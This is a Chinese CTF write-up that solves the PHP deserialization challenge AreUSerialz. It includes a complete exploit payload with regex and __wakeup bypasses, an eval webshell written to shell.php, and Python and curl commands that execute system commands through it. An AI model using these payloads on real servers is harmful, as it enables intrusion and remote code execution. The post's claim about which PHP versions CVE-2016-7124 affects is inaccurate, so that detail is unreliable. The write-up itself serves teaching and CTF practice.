很多人第一次碰反序列化题,都会觉得它像“字符串拼接 + 魔法方法调用”的玄学。这次我复盘的是某竞赛平台上的一道经典题AreUSerialz,题名本身就在玩谐音梗:“Are you serial?”——你会序列化吗?这道题最大的价值不是最后拿到 flag,而是把 PHP 反序列化最常见的四个考点串在了一起:入口分析、魔术方法触发链、正则过滤绕过、属性修饰符导致的序列化格式差异。做完这一道,很多反序列化题的套路就算入门了。
如果你正准备刷 CTF 的 Web 方向,或者在工作中遇到unserialize的用户输入,这篇文章都值得花十分钟看完。我会从审计源码开始,一直讲到构造 payload 拿到 shell,中间每一次卡住都是踩过的真实坑,不是教科书式的“直接给答案”。
1. 从入口开始:题目暴露出来的代码长什么样
1.1 唯一的交互入口是 GET 参数 str
先说一下拿到题目的第一眼。页面没有任何花哨的功能,直接就是一段 PHP 源码高亮输出,说明题目环境没有关闭highlight_file,或者直接用了highlight_file(__FILE__)来展示代码。CTF 里这种设计很常见,等于白送源码审计机会,所以别一上来就到处扫目录,先老老实实读代码。
我对照公开题解和常见环境还原了一份核心逻辑,大致是这样的:
<?php error_reporting(0); class FileHandler { protected $op; protected $filename; protected $content; public function __construct() { $this->op = 1; $this->filename = '/tmp/a.txt'; $this->content = 'hello'; } public function __wakeup() { $this->op = 1; } public function __destruct() { if ($this->op === 2) { file_put_contents($this->filename, $this->content); } else { file_get_contents($this->filename); } } } if (isset($_GET['str'])) { $str = (string) $_GET['str']; if (preg_match('/[oc]:\d+:/i', $str)) { die('stop hacking!'); } else { unserialize($str); } } else { highlight_file(__FILE__); }整个程序的主流程非常短:接收str参数,做一次正则检查,然后调用unserialize。没有数据库、没有模板渲染、没有其他路由,所以攻击面非常集中——就是反序列化本身。
很多新手在这里有个误区,觉得没有直接可见的输出就等于没有漏洞,其实unserialize的返回值即使没有被使用,对象依然会在脚本生命周期结束时被析构,析构函数照样执行,这就是反序列化题的通用“触发时机”。
1.2 FileHandler 类的三个属性与三个魔术方法
这个FileHandler类一共定义了三个属性:op、filename、content,以及三个魔术方法:__construct、__wakeup、__destruct。
| 属性 | 访问级别 | 反序列化时的控制能力 |
|---|---|---|
op | protected | 决定走写文件分支还是读文件分支 |
filename | protected | 写入目标路径或读取路径 |
content | protected | 写入文件的内容 |
再看三个魔术方法的分工:
| 方法 | 触发时机 | 作用 |
|---|---|---|
__construct | 新实例化对象时 | 初始化默认值 |
__wakeup | unserialize还原对象时 | 强制把op重置为 1 |
__destruct | 对象销毁时 | 根据op决定写文件还是读文件 |
关键逻辑集中在__destruct:
if ($this->op === 2) { file_put_contents($this->filename, $this->content); } else { file_get_contents($this->filename); }如果op严格等于整数2,就调用file_put_contents,把content写入filename指定的文件。否则调用file_get_contents读取filename。
到这里,攻击目标就很清晰了:让op为整数 2,让filename指向一个可访问的 PHP 文件路径,让content放上一段 PHP 代码,配合写入操作就能直接 getshell。但实际操作的时候有三个拦路虎,一个比一个隐蔽。
2. 三个拦路虎:正则过滤、属性修饰符、wakeup 篡改
2.1 第一个坑:正则把 O 开头的序列化拦住了
如果直接照背的 payload 打过去,比如构造O:11:"FileHandler":3:{...},第一关就过不去。
问题出在入口的正则:
preg_match('/[oc]:\d+:/i', $str)这个正则的目的是匹配序列化对象(O)或者实现了Serializable接口的类(C)的起始标记,比如O:11:或者C:5:。i修饰符让它不区分大小写,所以o:11:也会被拦。
我一开始直接在 URL 里传O:11:"FileHandler":...,页面直接返回stop hacking!。这时候才意识到,常规的序列化字符串已经不能用了。
绕过方式非常经典:把O:改成O:+。也就是写成:
O:+11:"FileHandler":3:{...}因为正则要求冒号后面必须紧跟数字,+号打断了匹配,所以preg_match直接放行。而 PHP 的unserialize解析器对+号很宽容,会把+11按整数 11 解析。
这个技巧在反序列化题里出现频率极高,本质上利用了“正则判断”和“PHP 解析器”对输入格式理解不一致的差异。很多人在这里栽跟头,是因为想当然地认为unserialize只接受标准serialize()输出,实际上它远比你想象的更宽容。
2.2 第二个坑:protected 属性带不可见字符
代码里三个属性都是protected,这在反序列化的时候会带来一个隐藏的坑:serialize()输出中,protected 属性的键名不是直接写属性名,而是会在前面拼上\0*\0。
比如protected $op序列化后的键名是:
\0*\0op其中\0是一个真正的 NUL 字节,也就是 ASCII 0。整个键名长度是 5 个字符,而不是 2 个。
所以标准序列化字符串长这样:
O:11:"FileHandler":3:{s:5:"\0*\0op";i:1;s:11:"\0*\0filename";s:9:"/tmp/a.txt";s:10:"\0*\0content";s:5:"hello";}注意看s:5和s:11,这个长度是把\0*\0前缀算进去的。如果自己在网上找了在线序列化工具,或者手动拼接 payload,很容易忽略这个前缀,导致属性名长度对不上,反序列化直接失败。
更麻烦的是,在 URL 里传参时,\0这种不可见字符不能直接粘贴,必须进行 URL 编码,写成%00。也就是说,\0*\0op在 URL 里要写成%00%2A%00op。
我在最初几次尝试时,直接把serialize()的原始输出复制到了 URL 里,结果被各种终端和浏览器截断,浪费了不少时间。正确做法是先把 payload 做 URL 编码,再发送请求。
2.3 第三个坑:__wakeup 强制重置 op
就算前面两个坑都过了,还会遇到最致命的一个:unserialize还原对象时,会自动调用__wakeup(),而这里面的逻辑是:
public function __wakeup() { $this->op = 1; }也就是说,不管 payload 里op设置成什么,反序列化之后都会变成整数 1,于是__destruct只能走file_get_contents分支,没法写文件。
这时候就需要用到 CVE-2016-7124 的经典绕过手法:在序列化字符串中,把声明的属性数量改得比实际属性数量多。
比如原来的对象有 3 个属性:
O:11:"FileHandler":3:{...}改成:
O:11:"FileHandler":4:{...}当 PHP 反序列化时发现属性数量与实际值不符,就会跳过__wakeup()的调用。这个方法表面上是“数量差一”,本质是利用了旧版本 PHP 中的一个逻辑漏洞。CTF 的大部分容器环境都是用老版本 PHP 配置的,所以这种绕过方式在题目里非常有效。
不过要注意,这个方法有版本条件,PHP 7.4.0 之前的版本都受影响。如果在真实项目的代码审计里遇到,第一反应应该是确认目标环境的 PHP 版本,不要默认可以用。
3. 手工拼 payload 并完成利用
3.1 本地生成序列化串
三个坑都摸清了,接下来就是最快乐的构造环节。我习惯先在本地用 PHP 生成标准序列化字符串,免得手算属性名长度出错。
<?php class FileHandler { protected $op = 2; protected $filename = "shell.php"; protected $content = '<?php @eval($_POST[1]);?>'; } echo serialize(new FileHandler());注意几下几个细节:
- 本地类和目标类的类名、属性名、属性数量必须完全一致,否则反序列化结果不可控。
- webshell 我选了最简单的
<?php @eval($_POST[1]);?>,没有任何双引号和反斜杠,避免在序列化字符串里产生额外的转义困扰。 content属性长度是 25,这个值可以直接用strlen验证,不需要手数。
输出结果类似:
O:11:"FileHandler":3:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:9:"shell.php";s:10:"\0*\0content";s:25:"<?php @eval($_POST[1]);?>";}拿到这个原始串之后,要手动做两处修改:
O:11改成O:+11,绕过正则。- 属性数量
3改成4,绕过__wakeup。
改完就是这样:
O:+11:"FileHandler":4:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:9:"shell.php";s:10:"\0*\0content";s:25:"<?php @eval($_POST[1]);?>";}这里有个经验:\0在大部分终端里不会被直接显示,复制的时候容易丢字节。我通常直接用 Python 脚本构造 payload 并做 URL 编码,一步到位,而不是在文本编辑器里肉眼操作。
from urllib.parse import quote payload = b'O:+11:"FileHandler":4:{s:5:"\x00*\x00op";i:2;s:11:"\x00*\x00filename";s:9:"shell.php";s:10:"\x00*\x00content";s:25:"<?php @eval($_POST[1]);?>";}' print(quote(payload, safe=""))在 Python 的字节串里,\x00就是真实的 NUL 字节,这样能保证%00被正确编码。
3.2 从 payload 到请求的细节
编码完成后,得到类似这样的最终 URL:
http://target/?str=O%3A%2B11%3A%22FileHandler%22%3A4%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D我一般直接用 Python 的requests库发送,避免浏览器各种自动编码导致 payload 变形:
import requests base_url = "http://target/" payload = b'O:+11:"FileHandler":4:{s:5:"\x00*\x00op";i:2;s:11:"\x00*\x00filename";s:9:"shell.php";s:10:"\x00*\x00content";s:25:"<?php @eval($_POST[1]);?>";}' url = base_url + "?str=" + quote(payload, safe="") resp = requests.get(url) print(resp.status_code) print(resp.text)发送请求后,服务端会反序列化对象,__destruct在请求结束时触发,把shell.php写到 web 根目录。这是为什么推荐用requests.get而不是浏览器直接访问——某些浏览器会智能解码或者截断超长 URL,导致 payload 不完整。
提示:
unserialize触发__destruct的时机并不一定在unserialize函数调用的那一行,而是在整个请求结束后的对象销毁阶段。所以发完 GET 请求后,不要急着看响应,先去访问一下写入的shell.php是否存在。
3.3 验证与拿 flag
先请求一次shell.php,如果服务器返回了 200 且页面内容里没有报错,说明写文件成功。
然后用 POST 方式传递1=system('cat /flag');或者1=phpinfo();验证代码执行能力:
curl -X POST http://target/shell.php -d "1=system('cat /flag');"我这里用一个常见的验证命令链:
import requests shell_url = "http://target/shell.php" resp = requests.post(shell_url, data={"1": "system('cat /flag');"}) print(resp.text)如果顺利,响应里就是 flag 内容。如果遇到 403 或者 404,大概率是以下两种情况:
filename写成了绝对路径,但当前 web 根目录不在那个路径下,写入文件落错了位置。- 写入时被 WAF 或者
file_put_contents的文件扩展名限制拦截了。这时候可以把filename改成/var/www/html/shell.php这类绝对路径再试,但前提是知道 web 根目录的真实位置。
这道题的环境比较简单,shell.php直接写在当前工作目录,请求http://target/shell.php就能访问到。
4. 复盘:把这道题放到反序列化题的通用解法里
4.1 反序列化题的解题五步
做完这道题,我最大的感受是:反序列化题看起来千变万化,但只要拆开看,骨架就那么几条。我把这套题的解题链路整理成五个步骤,后面遇到同类型题目可以直接套用:
- 找入口:找到哪个用户输入最终被传到了
unserialize,这是攻击面存在的前提。AreUSerialz 的入口就是$_GET['str']。 - 找魔术方法:确认目标类里有哪些
__construct、__wakeup、__destruct、__toString、__call等魔法方法,逐个梳理触发条件和行为。重点看有没有file_get_contents、file_put_contents、eval、system这类危险函数。 - 找可利用的属性:确认哪些属性可以被控制,哪些属性会被魔术方法强制修改。这道题就是
op会被__wakeup强制设为 1。 - 构造 POP 链:手动拼出序列化字符串,让魔术方法按预期路径执行。注意属性可见性、属性名长度、类名长度等格式细节。
- 绕过过滤:根据入口的正则或黑名单,调整 payload 的写法。AreUSerialz 这里就是
O:改O:+,属性数量改大绕过__wakeup。
五个步骤按顺序走下来,一般都能找到能做文章的点。最难的不是第五步的绕过,而是第三步到第四步之间,对“哪些值可控、哪些值会被覆盖”的判断。一旦理解了三件事:unserialize会触发哪些方法、对象销毁时机在哪、属性值如何被重构,很多题目就通了一半。
4.2 常见过滤和绕过手段对照表
把这道题积累的绕过思路放得更大一点,反序列化题目中常见的过滤手法和对应的绕过方式,大致可以整理成这张表:
| 过滤方式 | 攻击路径 | 绕过思路 |
|---|---|---|
拦截O:开头的对象标记 | 无法直接反序列化对象 | 使用O:+数字写法,利用正则与解析器的解析差异 |
拦截C:开头的类标记 | 无法直接使用自定义序列化类 | 同样用+号,或寻找可用原生类 |
拦截__wakeup后的目标方法 | 无法触发 POP 链 | 利用 CVE-2016-7124 修改属性数量,跳过__wakeup |
拦截exec、system等危险函数 | 无法执行系统命令 | 用file_put_contents先写 shell,再用 webshell 执行命令 |
| 限制反序列化的类名 | 只能反序列化固定类 | 找出题目中已有的可利用类,构造跨类 POP 链 |
反序列化前强制json_decode | 类型被转换、属性无法还原 | 分析输入格式,尽量构造可被 JSON 还原的类型结构 |
这个表不是标准答案,但足够应付大部分入门到中级的 PHP 反序列化题。
值得注意的是,很多过滤只针对标准的序列化格式,而 PHP 的unserialize解析器在读取数字长度时接受+号,在读取键名时接受超长后缀,这些都是历史版本遗留行为导致的解析宽松。碰到正则过滤先别慌,试着从解析器的宽容度出发找差异,往往比苦想绕过新姿势更快。
4.3 实战中容易忽略的细节
最后把这次解题过程中踩到的几个容易被忽略的细节集中说一下,这些都是代码审计和实际调试中很影响效率的点。
第一,属性可见性决定序列化格式,必须在本地模拟一致。public属性序列化后的键名就是属性名本身,protected要带\0*\0前缀,private要带\0类名\0前缀。如果题目类用的是private,你本地写public去构造,反序列化后的属性值不一定能成功关联。最快的办法就是:直接把目标类的源码复制到本地,改属性值,用它自己的serialize()生成 payload。
第二,严格比较和宽松比较是两种完全不同的利用思路。===同时要求类型相等,所以op必须传整数2;如果是==,字符串"2"也能通过。这种细节直接决定你在序列化字符串里写i:2还是s:1:"2"。很多新手想当然用字符串去试严格比较,结果发现走了完全不同的分支。
第三,注意反序列化后方法的触发时机和请求生命周期。__destruct一般发生在请求结束或者对象引用计数归零时,也就是响应发送的前后。所以这个利用的效果常常不是“在同一个响应里直接看到结果”,而是“下一次请求看到写入的文件”。排查的时候要留意,不要盯着第一次请求的响应不放。
第四,本地和靶机的 PHP 版本差异可能直接影响绕过条件。比如 CVE-2016-7124 在 PHP 7.4.0 之后被修复,如果目标环境是 PHP 8,这条路直接走不通。遇到这类情况,就要回头找别的入口,比如原生类反序列化、phar反序列化,或者重新审视代码里有没有更可控的魔术方法。
最后再分享一个习惯。我现在遇到反序列化题,第一件事不是手写 payload,而是先在本地起一个和题目环境版本接近的 PHP 容器,把目标类原封不动放进去,用serialize()生成标准 payload,再改绕过参数,用本地环境先完整跑一遍,最后才打远程。这样能把格式错误、长度错误、编码错误全部消化在本地,远程一次成功率高很多。这个方法对新手特别友好,等于给自己加了一个“反序列化题的本地实操沙盒”,多试几次,你大概就能理解那些 payload 里的\0和+是怎么来的了。